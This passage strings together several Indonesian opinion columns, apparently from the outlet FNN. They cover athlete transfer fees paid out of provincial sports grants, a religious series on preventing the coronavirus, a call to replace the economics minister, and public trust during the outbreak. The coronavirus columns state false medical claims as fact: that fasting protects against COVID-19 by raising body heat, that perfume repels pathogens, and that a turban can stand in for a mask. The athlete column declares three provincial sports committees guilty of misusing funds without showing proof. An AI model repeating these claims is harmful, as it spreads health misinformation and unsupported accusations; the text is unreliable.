praktek Kontrak Atlet antar provinsi. Yang banyak Kontrak Atlet untuk PON 2008, 2012, dan 2016: Jawa Timur, Jawa Barat, dan DKI Jakarta. Untuk mengambil atlet angkat besi Eko Yuli Wirawan misalnya, Jatim mesti membayar Kaltim dengan mahar Rp 300 juta. Nominal berkisar Rp 200 juta hingga Rp 500 juta juga dikeluarkan untuk 15 atlet lain yang pindah ke Jatim. Melansir Tirto.id (23 September 2016), diantara mereka ada lima atlet boling dari Jabar, yakni Oscar, Billy Muhammad Islam, Fachry Askar, Putri Astari, dan Tannya Roumimper. Jatim juga telah berhasil membajak perenang pelatnas, Ressa Kania Dewi dan Glen Victor Susanto. Kabarnya mahar dua atlet ini di atas Rp 600 juta. Untuk melobi perenang andalan Jabar lain, Triady Fauzi Sidiq, Jatim bahkan sempat menego Rp 780 juta. Namun, tawaran itu ditolak oleh KONI Jabar. Semakin besar prestasi dan potensi si atlet mendapat medali maka semakin juga mahal “uang pembinaannya”. Kegilaan tawaran mutasi atlet memang sudah kelewat batas. Pecatur andalan Jabar, Irene Kharisma Sukandar bahkan sempat “dibeli” Jatim Rp 1 miliar pada 2013. Surat kontrak antara Irene dan KONI Jatim sudah dibuat. Tapi, transaksi ini gagal karena Jabar menang saat proses gugatan di Badan Arbitrase Olahraga Indonesia (BAORI). Dalam setiap penyelenggaraan PON pasti terjadi Transfer Atlet Nasional antar provinsi yang menggunakan Dana Hibah Olahraga dari Pemprov. Padahal, Dana Hibah Olahraga Provinsi itu targetnya untuk Pembinaan Atlet Daerah. Penyelewengan Dana Hibah Olahraga Daerah semakin besar dilakukan oleh KONI Provinsi di posisi 3 besar PON 2008, 2012, dan 2016. Ketiga besar PON itu adalah DKI Jakarta, Jawa Barat, dan Jawa Timur. Ketiga daerah dipastikan melakukan penyelewengan Dana Hibah Olahraga dari Pemprovnya. Untuk fee transfer dan kontrak atlet nasional dari provinsi rival. Nilainya terbanyak dibanding daerah lain. Penyelewengan yang dilakukan KONI Provinsi tersebut berkedok permainan kontrak pemain. Kabarnya, KPK dan Kejaksaan sedang “membidik” tiga KONI Daerah (DKI Jakarta, Jabar, dan Jatim) sebagai tiga besar saat PON 2008, 2012, dan 2016. Ketiga daerah peserta kontingen PON 2008, 2012, dan 2016 itu yang banyak kontrak atlet nasional milik provinsi lain. Karena, dana Hibah Olahraga dilarang digunakan untuk bayar fee transfer dan kontrak pemain. Tampaknya, rekomendasi yang beredar tersebut dalam waktu dekat bakal dieksekusi oleh lembaga penegak hukum. Kita tunggu saja buktinya, bukan janji! *** Penulis wartawan senior.

ANTISIPASI WABAH VIRUS CORONA ATAS JATUHNYA BULAN HARAM - 3 (Habis)

Oleh Mochammad Sa'dun Masyhur Jakarta, FNN - Secara spesifik, mengadapi perubahan musim pancaroba, sehingga timbul banyak wabah penyakit termasuk penyebaran virus corona, dan dalam kaitannya untuk menjaga nafs sebagai sel genetik, dapat disampaikan beberapa hal penting antisipatif, sebagai berikut: Pertama, menjaga kebersihan diri dan lingkungan. Tidak berlebihan dikatakan bahwa Islam mungkin adalah satu-satunya agama di dunia yang mengatur hal-hal pernak-pernik kehidupan yang seolah remeh temeh. Di dalam Islam tidak hanya memperhatikan persoalan kebersihan dan higienitas, tetapi di atas itu, mengajarkan tentang kesucian. Dalam persoalan bersuci (thoharoh), syariah Islam tidak hanya mengatur ketentuan menyangkut media bersucinya, berupa air atau tanah, tetapi juga mengatur tata cara bersuci. Misalnya, dalam hal membersihkan kotoran tertentu, diperlukan hingga 7x siraman dengan air mengalir, yang di antara itu harus membersihkan bagian yang terkena najis tertentu itu, dengan tanah. Untuk menjaga kesucian, dalam kaidah syariah, air yang digunakan bersuci, harus air yang mengalir atau air dalam volume tertentu. Syariat juga melarang membasuh atau memasukan tangan kotor ke dalam bejana berisi air, tetapi harus memakai gayung. Atau mengatur cara membersihkan kotoran (istinjak) sampai sifat-sifat kotoran itu hilang, dengan tangan kiri. Dan makan mengunakan tangan kanan yang didahului dengan cuci tangan. Agar tubuh tetap bersih dan menghindari berbagai penyakit, Sunah Rasul menuntun untuk bersiwak/gosok gigi utamanya setelah makan dan hendak sholat, berwudhu dengan benar, khususnya saat menyapu kepala, adalah hal yang sangat penting untuk menjaga kesehatan. Demikian juga diatur pakaian menutup aurat, dan disunahkan memakai wewangian, karena renik patogen, cenderung berbau busuk dan tidak nyaman di lingkungan yang wangi. Mengingat suhu tubuh manusia normal dalam kisaran 36,5 sd 37,3 derajat Celcius, dan tidak didesain mengalami kejutan suhu. Maka sangat tepat mandi sebelum matahari terbit dan sebelum tenggelam. Dan agar tidak terjadi sock suhu, awali dengan berwudhu. Atau saat kehujanan, beradaptasi dulu dengan air biasa, dan tidak langsung mandi dengan air panas. Dalam hal menjaga kebersihan lingkungan, sunah mengajarkan mengalirkan air tergenang, menutup bejana, menimbun bangkai dan hal-hal berbau busuk, menutup pintu dan jendela sebelum malam tiba dan membuka sebelum matahari terbit. Juga menutup mulut saat batuk, menguap atau bersin. Khusus bersin disertai untuk saling mendoakan. Dalam hal-hal tertentu, sorban sebagai kesunahan, sering dipandang sebelah mata. Padahal berguna fungsional sebagai pelindung kepala disaat hujan atau panas terik, penutup hidung, melindungi wajah dan kepala dari tiupan angin dan debu. Singkatnya ia berfungsi multiguna termasuk sebagai penganti masker, penghangat tubuh disaat dingin, dll. Maka tidak perlu apreori, menganggap itu ke arab-araban. Tentu masih banyak hal tentang menjaga kebersihan diri dan lingkungan yang bagi seorang muslim sudah menyatu dalam kehidupan keseharian. Tentang menjaga kebersihan itu, Allah SWT berfirman yang artinya Allah tidak ingin menyulitkan kamu, tetapi Dia hendak membersihkan kamu dan menyempurnakan nikmat-Nya bagimu, agar kamu bersyukur,_ (QS. Al-Ma'idah 5: Ayat 6). Kedua, Meningkatkan kebugaran dan kekuatan tubuh. Sangat penting untuk selalu menjaga kebugaran tubuh dengan berolahraga. Minimal, kombinasi jalan 300 meter dan lari kecil-kecil 100 meter, seperti sa'i berjarak 7x sofa-marwa atau sekitar 3 km, selain baik untuk kebugaran, akan sangat cocok bagi penderita gangguan jantung. Jenis olah raga yang lebih berat lagi dilakukan nabi, sebagai atlit yang sering memenangi kejuaraan bergulat, memanah dan berkuda. Berkaitan dengan kekuatan itu, Nabi berpesan, Mukmin yang kuat lebih baik dan lebih dicintai Allah daripada mukmin yang lemah; meskipun pada keduanya itu ada kebaikan, (HR. Abu Hurairah)._ Sedang untuk meningkatkan kekuatan tubuh, sesuai kaidah medical Quran, sebagaimana tercantum dalam kisah Zakariyya, tanda mulai penuaan terdapat pada kondisi lemahnya tulang dan timbulnya uban. Singkatnya, kekuatan tubuh sangat tergantung pada kondisi tulang belulang. Oleh karena itu berbagai asupan yang mengandung unsur-unsur pembentukan tulang sangat dibutuhkan, terutama bagi usia pertumbuhan. Sedangkan bagi usia lanjut, berguna untuk mempertahankan kondisi fisik agar tetap kuat, dan terhindar osteoporosis. Ketiga, Meningkatkan imunitas atau daya tahan tubuh. Upaya untuk meningkatkan imunitas dan daya tahan tubuh ditujukan agar kondisi nafs sebagai sel genetik, mampu berkembang, atau sekurang-kurangnya dapat mempertahankan diri. Oleh karena itu unsur-unsur pembentukan nafs sebagai sel genetik, sangat dibutuhkan. Ingat sel genetik itu berupa polimer berisi ratusan hingga ribuan nukleotida. Adapun tiap nukleotida itu mengandung gula pentosa deoksiribosa (gula murni), gugus fosfat, dan basa nitrogen. Dalam kaitan itu, otomatis unsur-unsur lain yang bertentangan dan berlebihan, utamanya unsur gula apalagi sintetis, lemak jenuh, koleterol dan polutan atau radikal bebas akan merusak sel genetik. Maka unsur-unsur yang dapat mengganggu dan merusak nafs itu , mutlak harus dihindari dan dijauhi. Adapun unsur-unsur yang berhubungan dengan nafs itu diatur sangat khusus, berlaku kaidah kehalalan, kethoyiban dan tidak berlebih-lebihan. Tiga kaidah itu bersifat equal, artinya kaidah tidak thoyib itu sama dengan tidak halal, dan sama dengan berlebih-lebihan. Atau sebaliknya berlebih-lebihan itu sama dengan haram, sama dengan tidak thoyib, demikian seterusnya. Melanggar kaidah itu, otomatis akan merusak nafs. Sedangkan dalam 3 kaidah itu melekat aspek sifat dan jenis makanan dan minuman, sifat dan jenis pekerjaan, serta sifat dan tabiat pasangan hidup. Di luar itu sunah nabi mengajarkan etika dan cara makan dan minum. Misalnya tidak mengendus-endus dan meniup makanan dan minuman, menetapkan waktu tidur lebih awal dan bangun sepertiga malam, posisi tidur miring ke kanan, karena jantung di bagian kiri, dll, dll. Selanjutnya, terlepas dari perdebatan tentang Chadits puasa sunah di bulan Rajab, bagimanapun amalan puasa adalah salah satu cara yang baik, bahkan paling efektif untuk meningkatkan imunitas tubuh. Proses peningkatan kekebalan tubuh itu terjadi karena saat puasa akan berlangsung pengurangan atau paceklik gizi di dalam tubuh. Kondisi menipisnya gizi itu, secara alamiah akan mendorong seluruh bagian tubuh bereaksi, dengan mengaktifkan seluruh sistem pertahanan diri semaksimal mungkin. Kemudian dari gizi saat sahur dan buka puasa (pilih yang terbaik), tubuh akan memproduksi sistem imun baru, sel-sel baru yang dibutuhkan tubuh. Bahkan menurut hasil studi terakhir, puasa 3 hari berturut-turut akan secara langsung dapat memperbarui sistem kekebalan tubuh. Karena itu, meskipun mengurangi makan, puasa dengan cara yang benar, akan membuat tubuh tidak mudah flu atau terkena wabah penyakit. Jadi salah satu cara yang efektif untuk terhindar serangan virus, termasuk COVID-19 adalah berpuasa. Alasan lainnya saat berpuasa, suhu tubuh akan naik menjadi lebih panas, sehingga tidak disukai renik patogen, setidaknya kondisi itu menyebabkan virus tidak berkembang biak. Selebihnya puasa akan memberikan manfaat kesehatan menurunkan gula darah dan meningkatkan produksi gula murni pentosa pada seluruh bagian tubuh. Dan secara keseluruhan puasa akan meningkatkan kesehatan perut (Arab: buthun, jamak dari batnun), yang secara fisik melekat kaidah perbaikan kesehatan tulang belakang bagian perut (pinggang). Adapun secara holistik dalam kaidah Quran, buthuun sebagai seluruh bagian perut, berakar kata ba-tho-nun, dikamuskan Alquran sama dengan akar kata bathin. Karena itu secara langsung puasa berhubungan dengan kesehatan bathin. Ketenangan dan kebahagiaan. Dengan alasan itu maka disarankan kaum muslimin melakukan dan memperbanyak puasa khususnya di bulan haram, termasuk di bulan Rajab ini. Setidaknya dapat mengikuti sunah puasa senin kamis, dan ayyamul bidh, yaitu puasa tengah bulan hijriyah, jatuh tiap tanggal 13, 14 dan 15, dengan cara yang benar. Yakni, tetap makan sahur, tidak minum es, menghindari makan mengandung pengawet, perasa dan pewarna buatan, mengurangi gula, menghindari gula sintetik, jika terpaksa ingin rasa manis gantilah dengan madu, serta perbanyak makan buah-buahan. Wajarlah makan dan minum, jangan sampai kekenyangan. Tentu masih banyak hal lain ibadah yang dapat meningkatkan kekuatan dan imunitas tubuh, misalnya, memperbanyak sholat sunah, membaca Alquran, dll, dll. Persoalan besar selanjutnya yang akan dihadapi adalah bagaimana proses penanganan dan penyembuhan korban. Tentu perlu penjelasan dan penanganan khusus. Di atas segala ihtiar selanjutnya, akhirnya kita berserah diri kepada Allah, karena sebaik-sebaiknya pertolongan adalah perlindungan Allah SWT. Semoga kita senantiasa diberikan kesehatan dan keberkahan. Aamiin ya Robbal alamin. Penulis adalah Holistic Healing Consulting, Expert and Inventor Medical Quran, tinggal di Bogor, Indonesia.

Butuh Menko Perekonomian Yang Punya Kemampuan di Atas Rata-rata

By Kisman Latumakulita Jakarta FNN – Krisis dan resesi ekonomi itu hampir pasti datang menghampiri kita. Penyebaran Covid -19 awal tahun 2020 berakibat pada aktivitas ekonomi China dan ekonomi dunia tertekan. Sangat tergantung pada berapa lama kasus ini dapat diatasi. Semakin lama virus ini merajalela, semakin parah pula tingkat kerusakan ekonomi yang ditimbulkan. Dalam kondisi ketidakpastian ini, ekonomi China dan ekonomi dunia dipastikan anjlok pada triwulan pertama tahun 2020. Bahkan ada yang memprediksi ekonomi China bisa mengalami pertumbuhan negatif. Dampaknya terhadap ekonomi Indonesia juga bissa fatal. Apalagi, nilai ekspor Indonesia ke China selama 2019 tercatat U$ 25,85 miliar. Dampak dari melemahnya pertumbuhan ekonomi China kepada Indonesia, juga sebagai akibat dari struktur ekonomi Indonesia yang memang sangat lemah, sehingga krisis sulit untuk dihindari. Diperkirakan kita akan berhadapan dengan dua macam krisis, yaitu krisis keuangan dan krisis ekonomi. “Krisis ekonomi kemungkinan akan berkepanjangan. Berujung pada resesi ekonomi. Pemulihannya tidak mudah. Penyebab dan perjalanan kedua krisis ini akan berbeda, “ujar Managing Director Economy and Policy Studies (PEPS), Anthony Budiawan (Watyutink.com 03/03/2020). Sedangkan krisis keuangan, akan berakibat pada anjloknya nilai tukar rupiah terhadap dollar. Kondisi ini sebagai akibat dollar yang keluar (capital outflow) lebih besar dari dollar yang masuk (capital inflow). Dampaknya, cadangan devisa akan terkuras dan menipis. Permintaan dollar akan menjadi sangat besar, sehingga kurs dollar naik, sementara rupiah bisa anjlok atau terjun bebas. Larinya dollar ke luar negeri, sebagai akibat dari defisit neraca perdagangan dan neraca transaksi berjalan yang sangat besar. Angkanya mencapai U$ 30 miliar pada tahun 2018 dan 2019. Kecil kemungkinan untuk tahun 2020 bisa lebih rendah. Bahkan bisa jadi lebih besar dari tahun 2018 dan 2019. Namun kita anggap saja sama, yaitu sebesar U$ 30 miliar. Walaupun kemungkinan itu tidak mungkin terjadi. Untuk menambal lubang defisit neraca perdagangan dan transaksi berjalan yang sangat besar itu, harus melalui dua cara. Pertama, investasi langsung (foreign direct investment) dan investasi portopolio (portopolio investment) pada saham dan surat utang. Foreign direct investment pada tahun 2018 hanya sebesar U$ 12,5 miliar. Sedangkan tahun 2019 hanya menghasilkan U$ 20 miliar. Dengan kondisi ekonomi global yang tidak menentu sekarang, kemungkinan foreign direct investment akan mengalami hambatan serius untuk masuk ke Indonesia. Paling banyak kita hanya bisa mendapatkan pemasukan devisa sekitar U$ 15 miliar dari foreign direct investment. Itupun butuh kerja super dari tim ekonomi. Tim ini harus punya kemampuan mamahami makro ekonomi dan lobby di atas rata-rata. Kemampuan mereka tidak boleh di bawah rata-rata. Sisanya sekitar U$ 15 miliar lagi harus didapat dari portopolio investment. Masalahnya, investor asing sekarang ada kecenderungan untuk menunda investasi di semua lini. Investor asing lebih cenderung menyimpan dana cash. Terbukti, menurut Bank Indonesia (BI), investor asing sudah keluar dan menukar dollar setara dengan Rp 30,8 triliun. Jumlah tersebut setara dengan U$ 2,2 miliar. Terdiri dari investor asing yang melepaskan Surat Utang Negara (SUN) sebesar Rp 26,2 triliun. Sedangkan penjualan saham sebesar Rp 4,1 triliun. Sisanya, sekitar Rp 500 miliar lagi dalam bentuk penjualan obligasi korporasi. Kedua, Indonesia tahun 2020 ini membutuhkan dollar dalam jumlah besar untuk membayar utang, baik dalam bentuk SUN maupun obligasi korporasi yangh jatuh tempo. SUN yang jatuh tempo diperkirakan Rp 428 triliun, atau setara U$ 31 miliar. Dari jumlah tersebut, yang dipegang investor asing sekitar 60% atau setara U$ 18,6 miliar. Pemerintah tentu tidak punya persediaan dollar yang cukup untuk membayar SUN punya investor asing, yang jatuh tempo 2020 tersebut. Dengan demikian, utang kepada investor asing yang jatuh tempo sebesar U$ 18,6 miliar itu harus dibayar dengan menerbitkan SUN baru. Resikonya, SUN yang baru diterbitkan pemerintah tersebut, harus dibeli oleh investor asing. Jika gagal, kemungkinan rupiah akan anjlok semakin dalam. Sebagai gambaran, dengan kondisi ekonomi global yang melemah, resiko gagalnya menarik hutang baru terbuka lebar. Apalagi pada Februari lalu, investor asing terbukti menjual SUN dan obligasi korporasi U$ 2,2 miliar. Kenyataan ini memerlukan kerja tim ekonomi yang luar biasa ekstra. Tidak bisa asal-asalan, atau sambil mengurus organisasi partai dalam menghadapi pilkada 2020. Dari gambaran yang ada, terbukti neraca transaksi berjalan kita bermasalah atau merah. Neraca perdagangan kita juga merah. Neraca penerimaan sudah lebih dulu merah sebesar Rp 353 triliun. Pertanyaannya, berapa kemungkinan rupiah akan anjlok terhadap dollar? Seberapa besar rupiah bisa bertahan melawan dollar? Jawabannya tergantung pada seberapa besar cadangan devisa yang dipunyai Indonesia. Sebab, sangat terkait dengan naik-turunya cadangan devisa dari neraca perdagangan dan neraca transaksi berjalan. Lagi-lagi, untuk itu dibutuhkan komandan tim ekonomi yang punya kemampuan di atas rata-rata. Budiono dan Rizal Ramly Melihat gambaran tiga neraca keuangan kita yang semuanya merah, yaitu neraca transaksi berjalan , neraca perdagangan dan neraca penerimaan, maka Presiden Jokowi harus membuat keputusan yang terbilang radikal dan ekstrim. Presiden Jokowi harus secepatnya mengganti Menko Perekonomian, dengan yang mempunyai kemampuan di atas rata-rata. Orangnya, harus sudah teruji menghadapi badai krisis ekonomi. Langkah ini pernah dilakukan Presiden SBY ketika berhadapan dengan krisis ekonomi 2008. Atas nama bangsa dan negara, SBY merunduk kepala kepada Budiono, dan meminta Budiono menggantikan Aburizal Bakrie sebagai Menko Perekonomin. Aburizal digeser SBY ke Menko Kersra menggantikan Alwi Shihab. Padahal Aburizal ketika itu Ketua Umum DPP Partai Golkar, partai pemenang pemilu 2004. Alhamdulilaah, hasilnya sangat dan sangat menggembirakan. Indonesia berhasil keluar dari krisis ekonomi tahun 2008. Sebaliknya, bisa mencatat pertumbuhan ekonomi di atas 4%. Padahal hampir semua negara di dunia, hanya mampu mencatat pertumbuhan ekonomi di bawah 2%. Amerika Serikat malah mencatat pertumbuhan ekonomi minus -1%. Luar biasa terobosan yang dilakukan SBY. Langkah seperti SBY ini yang perlu dilakukan Pak Jokowi sekarang. Mumpung belum terlambat. Selain mantan Wapres Budiono, anak bangsa yang juga mampu berhadapan dengan badai krisis ekonomi, dan mempunyai kemampuan di atas rata-rata adalah Rizal Ramly. Sebagai arsitek tim ekonomi Presiden Gus Dur, Rizal dengan timnya berhasil mencatatkan pertumbuhan ekonomi 7,5% hanya dalam waktu 23 bulan pemerintahan Gus Dur. Saat Gus Dur menggantikan Presiden Habibie, pertumbuhan ekonomi Indonesia tercatat minus -4%. Namun ketika Gus Dur jatuh, dan digantikan Presiden Megawati, ekonomi Indonesia telah mencatat pertumbuhan 3,5%. Dengan demikian, selama Gus Dur menjadi presiden 23 bulan, ekonomi Indonesia mencatat pertumbuhan sebesar 7,5%. Luar biasa Rizal Ramly dan tim ekonominya. Prestasi yang pernah dicapai Gus Dur, lebih besar dari prestasi tertinggi yang pernah dicapai Soeharto di akhir massa jabatannya tahun 1998. Namun prestasi Gus Dur, tentu saja bukan karena kemampuan Gus Dur di bidang ekonomi. Namun karena keberanian Gus Dur memberikan kewenangan kepada Rizal Ramly untuk memimpin tim ekonomi di pertengahan dan akhir masa jabatannya. Pada akhir tahun 1997, ekonomi Indonesia mencatat pertumbuhan sebesar 7,1%. Dengan angka pertumbuhan ekonomi 7,1% tersebut, berakibat pada Indonesia dimasukan ke dalam empat negara “Macan Ekonomi Baru di Asia”. Indonesia ketika itu bersama-sama dengan Singapura, Taiwan dan Korea Selatan. September tahun 1997, Rizal Ramly berani mengingatkan ABRI tentang kemungkinan Soeharto akan jatuh. Soeharto jatuh karena krisis ekonomi yang menghadang di depan mata. Ketika itu Rizal meminta agar ABRI segere mengantisipasi kemungkinan dari kejatuhan Soeharto. Peringatan Rizal kepada ABRI tentang kemungkinan kejatuhan Soeharto itu tidak disampaikan di sembarang tempat. Rizal menyampaikan warning tersebut di Markas Seskogab, Bandung. Disampaikan di depan pimpinan dan siswa-siswa Seksogab ABRI. Sekolah yang menyiapkan calon-calon jenderal dari Tiga Matra Angkatan (TNI AD, TNI AL, TNI AU) dan Polisi. Karakter Rizal juga terlihat sangat dominan adalah tidak mau didikte oleh siapapunm negara atau lembaga keuangan yang akan membantu Indonesia. Bantuan itu, baik dalam bentuk pinjaman maupun hibah. Sikapnya itu terlihat ketika memimpin pertemuan Consultative Group on Indonesia (CGI), lembaga donor bentukan Bank Dunia sebagai pengganti IGGI di Jepang tahun 2000. Lamanya waktu yang diberikan kepada anggota delegasi CGI yang mau ketemu empat mata dengan Rizal, sangatlah ditentukan oleh besar kecilnya nilai donor atau hibah yang akan diberikan. Jika nilai uanya besar, maka waktunya bisa lumayan lama ketemu dengan Rizal. Namun jika nilai komitmen itu di bawah U$ 100 juta, maka waktu yang tersedia tidak lebih dari 10 menit. Begitulah cara Rizal menunjukan kelasnya dalam bernegoisiasi. Demi harga diri bangsa dan negara Rizal tak mau membungkuk badan kepada negara atau lembaga keuangan manapun di muka bumi ini yang berjanji akan memberikan bantuan hibah atau pinjaman kepada Indonesia. Kemampuan sekelas Budiono dan Rizal Ramly itu yang hari ini tidak dimiliki oleh Airlangga Hartarto. Airlangga Hartarto hanya lulusan teknik mesin dari Fakultas Teknik UGM. Prestasinya selama menjabat Menteri Perindustrian juga tidak ada yang menonjol. Tidak ada yang bisa dibanggakan. Airlangga tidak lebih baik dari Hartarto Sastrosoenarto, ayahnya yang menjabat Menteri Perindustrian selama sepuluh tahun (periode 1983-1993) di eranya Soeharto. Sebagai wartawan yunior, dari Harian Ekonomi NERACA, yang sering meliput bidang perindustrian di eranya Hartarto dan Tungki Ariwibowo Menteri Perindustrian, kemampuan Airlangga masih dua sampai tiga digit di bawah Hartarto dan Tungki. Pemahaman Arilangga terhadap makro ekonomi malah lebih para lagi atau minim. Bisa tiga sampai empat digit di bawah Hartarto dan Tungki. Untuk itu, tidak ada pilihan bagi Pak Jokowi, kecuali secepatnya mengganti Menko Perekonomian dan Menteri Keuangan. Percayakan kepada anak bangsa yang sudah teruji dan terbukti menghadapi badai krisis ekonomi. Lepaskan dulu warna baju koalisi pendukung Pak Jokowi. Situasinya bisa saja bergerak lebih cepat dari yang diperkirakan. Sekarang urusan penyelamatan bangsa harus di atas segala-galanya. Jika lambat atau salah membuat keputusan, badai krisis ekonomi bisa mengulung Pak Jokowi bersama-sama koalisi partai pendukung. Ingat, tahun 1998 dulu itu, Soeharto sangat kuat-kuatnya memperoleh dukungan politik dari Golkar dan ABRI. Pertumbuhan ekonomi Indonesia juga terbilang berhasil, yaitu sebesar 7,1%. Soeharto juga merencanakan untuk merombak kabinet. Namun semua langkah Soeharto itu, kalah cepat badai krisis ekonomi. Akhirnya, Soeharto bersama ABRI-nya tergulung juga, bersamaan dengan datangnya badai krisis keuangan global yang tidak bisa dibendung negara manapun. Semoga bermanfaat. Penulis adalah Wartawan Senior

Soal Corona, Masyarakat Bisa Akses Informasi dari 79 Negara

Aksi memborong kebutuhan sehari-hari di pasar modern maupun tradisional, karena adanya kekuatiran bakal terjadi kelangkaan produk. Contoh lainnya ketika pemerintah menghimbau untuk menjaga stamina. Masyarakat merespon bukan dengan memborong vitamin di apotik yang relatif lebih mahal, tetapi dengan memborong bahan-bahan herbal yang secara kultur sudah dipercaya khasiatnya oleh banyak orang. Sekali lagi ini soal trust. By Gde Siriana Yusuf Jakarta FNN - Percuma jika pemerintah ingin meredam kepanikan dan hoax atas penyebaran Corona hanya dengan himbauan. Informasi penyebaran yang cepat, yang meliputi 79 negara di luar China dengan mudah diakses masyarakat di manapun. Secara alamiah ketakutan itu muncul sebagai upaya untuk menjaga-jaga. Tidak perduli apapun bangsanya. Namun ketakutan ini dapat diimbangi dengan membangun trust kepada masyarakat. Apa saja upaya-upaya yang dilakukan pemerintah dalam menghentikan penyebaran wabah Corona. Ada tiga aspek yang diamati masyarakat secara bersamaan, dan akan mempengaruhi sikap masyarakat dalam merespon perkembangan tentang Corona ini. Pertama, bagaimana cara kerja pemerintah dalam melawan Corona? Seperti apa konsistensi dan keselarasan ucapan atau penjelasan pejabat pemerintah. Bagaimana juga kordinasi antara pusat-daerah, dan kesiapan semua posko kesehatan yang ada di daerah. Bagaimana penyediaan gratis sanitizer hand wash maupun masker. Masyarakat juga perlu mendapat kesan bahwa pemerintah memang serius dan fokus menangani Corona. Masy akan selalu akan membandi-bandingkan apa yang dilakukan oleh pemerintah di sini dengan negara lain. Apalagi masyarakat dapat mengakses jurnal-jurnal ilmiah atau media internasional tentang Corona sebagai referensi untuk menilai situasi di dalam negeri. Contohnya, sebagian masyarakat meragukan Pemerintah yang menyatakan Corona masih zero case. Kedua, bagaimana ketersediaan semua kebutuhan masyarakat dengan harga normal. Kelangkaan suatu bahan pokok akan merusak trust kepada pemerintah, sehingga masyarakat akan berpikir kemungkinan banyak lagi barang-barang kebutuhan pokok yang susah didapat. Kondisi ini ditambah dengan pengetahuan masyarakat bahwa, banyak pabrik di Indonesia membeli bahan baku yang diproses dari China sudah cukup merata. Artinya masyarakat akan memproses sendiri informasi yang diterima dari pemerintah maupun sosial media, termasuk media online dengan fakta di pasar. Setelah itu, masyarakat yang menentukan sendiri bentuk responnya. Aksi memborong kebutuhan sehari-hari di pasar modern maupun tradisional, karena adanya kekuatiran bakal terjadi kelangkaan produk. Contoh lainnya ketika pemerintah menghimbau untuk menjaga stamina. Masyarakat merespon bukan dengan memborong vitamin di apotik yang relatif lebih mahal, tetapi dengan memborong bahan-bahan herbal yang secara kultur sudah dipercaya khasiatnya oleh banyak orang. Sekali lagi ini persoalan trust. Ketiga, kondisi pasar valuta dan saham. Baik itu pedagang besar, kecil maupun yang bukan pedagang. Setiap hari, baik langsung maupum tidak langsung, akan menerima informasi tentang naik-turun nya kurs rupiah dan harga saham. Pedagang setiap kali membeli bahan baku atau masyarakat yang berbelanja di pasar, akan mendapatkan harga naik, sudah tentu akan melakukan stocking lebih banyak lagi karena merasa harga akan terus naik. Tiga cara pandang ini jika bekerja secara bersamaan dalam pikiran-pikiran masyarakat, dapat saja membentuk kepanikan sosial yang lebih luas. Masyarakat sudah paham bahwa Corona tidak mematikan seperti flu burung. Tetapi masy paham bahwa penyebaran Corona lebih luas dan crpat dari flu burung. Masyarakat pikir sudah siap dengan kemungkinan itu. Tetapi pemerintah juga harus siap siaga dalam menjaga ketersediaan barang di pasar. Tentu dengan harga normal dan kestabilan rupiah. Sebab gejolak di pasar barang dan kurs lah yang lebih kuat dalam menciptakan kepanikan masyarakat. Penulis adalah Direktur Eksekutif Indonesia Future Studies (INFUS)

ANTISIPASI WABAH VIRUS CORONA ATAS JATUHNYA BULAN HARAM - 2

Oleh Mochammad Sa'dun Masyhur Jakarta, FNN - Tulisan sebelumnya telah diuraikan siklus perubahan alam dan hubungannya dengan perhitungan atas jatuhnya bulan haram, khususnya bulan Rajab, sebagai bulan ke 7 dalam urutan kalender hijriyah. Ternyata bulan Rajab ini, yang sekarang masuk di hari ke 12, dalam catatan para ahli astronomi Jawa, ditandai sebagai masa puncak terjadinya penyebaran wabah penyakit yang menyerang seluruh mahluk hidup di dunia. Maka dengan pertimbangan telah teridentifikasinya pasien suspect virus corona di Indonesia yang diumumkan resmi Presiden 3 hari lalu, judul tulisan ini sedikit digeser menjadi, Antisipasi Wabah Virus Corona, Atas Jatuhnya Bulan Haram. Aspek yang sangat menarik dari QS. 9. Attaubah, ayat 36 yang menerangkan tentang perhitungan 4 bulan haram, persis pada bagian tengah ayat itu memuat larangan agar manusia tidak menthzolimi nafs (sebagai sel-sel genetik), dirimu sendiri, (falaa tathzlimuu fiihinna anfusakum). Kandungan ayat di atas relevan dinyatakan berhubungan dengan perihal menjaga kesehatan nafs. Dan dijamin dapat dibuktikan secara ilmiah, bahwa nafs yang dimaksud Alquran adalah sel genetik. Dunia medis menemukan bahwa pada setiap makhluk hidup, memiliki materi genetik yang terdiri atas kromosom, gen, DNA, dan RNA, yang akan diturunkan melalui proses reproduksi. Struktur sel genetik adalah suatu molekul besar kompleks yang saling berpilin membentuk heliks ganda, berupa polimer dari ratusan hingga ribuan nukleotida. Setiap nukleotida ini terdiri dari: gula pentosa deoksiribosa, gugus fosfat, dan basa nitrogen. Dalam kaitan itu, otomatis unsur-unsur lain yang bertentangan dan berlebihan, utamanya unsur gula apalagi sintetis, lemak jenuh dan polutan atau radikal bebas akan merusak sel genetik. Tentang muasal nafs sebagai sel genetik ini, sepenuhnya diciptakan dan berasal langsung dari Allah SWT. Untuk pertama kalinya nafs itu diciptakan, bersamaan dengan penciptaan Adam dan istrinya, yang dinyatakan Alquran sebagai min nafsin wahidatin, tepat dimaknai sebagai sebagian daripada sel-sel genetik yang tunggal. Fakta temuan mutahir berkaitan dengan bahan sel genetik di dunia, sangat mengejutkan. Ternyata nafs semula, memang bukan berasal dari bumi. Fakta itu diketahui dalam Prosiding National Academy of Sciences, (Nov 2019). Dalam jurnal ilmiah itu, Furukawa, seorang ilmuwan dari Universitas Tohoku, Jepang menyatakan, bahwa untuk pertama kalinya ilmuwan menemukan gula dan blok bangunan penting kehidupan, termasuk asam amino (komponen protein) dan nukleobase (komponen DNA dan RNA) pada meteor yang jatuh ke bumi. Subhanallah. Sayangnya dalam kesempatan sempit ini tidak mungkin membahas secara menyeluruh perihal nafs, yang disebut Alquran sebanyak 198 kali itu. Semoga Allah melimpahkan keberkahan umur, untuk membahas bersama, setelah menyelesaikannya dalam bentuk buku, yang sudah separo jalan. Setidaknya dari jejak ayat sebelumnya, pada QS. 9. Attaubah, ayat 35, menyebut secara eksplisit bagian lambung (junuub), tulang belakang (thzuhur) dan dahi (jibah, sebagai pelindung), merupakan bagian-bagian tubuh, penentu dalam mekanisme dan metabolisme pertumbuhan atau kerusakan sel genetik, yang berujung kematian (kullu nafsin dzaaiqotul maut). Mengingat berbahayanya kerusakan sel genetik tersebut, beriring dengan keterangan awal ayat itu tentang siksa neraka jahanam, pada ujung ayat yang sama disampaikan ancaman yang keras. “Inilah harta benda (nutrisi) yang kamu simpan (berlebihan) untuk dirimu sendiri, maka rasakanlah (sakit akibat kerusakan nafsmu itu), karena apa-apa yang kamu simpan sendiri." Dari berbagai keterangan di atas dan berkaitan dengan kandungan ayat yang menerangkan tentang jatuhnya bulan haram 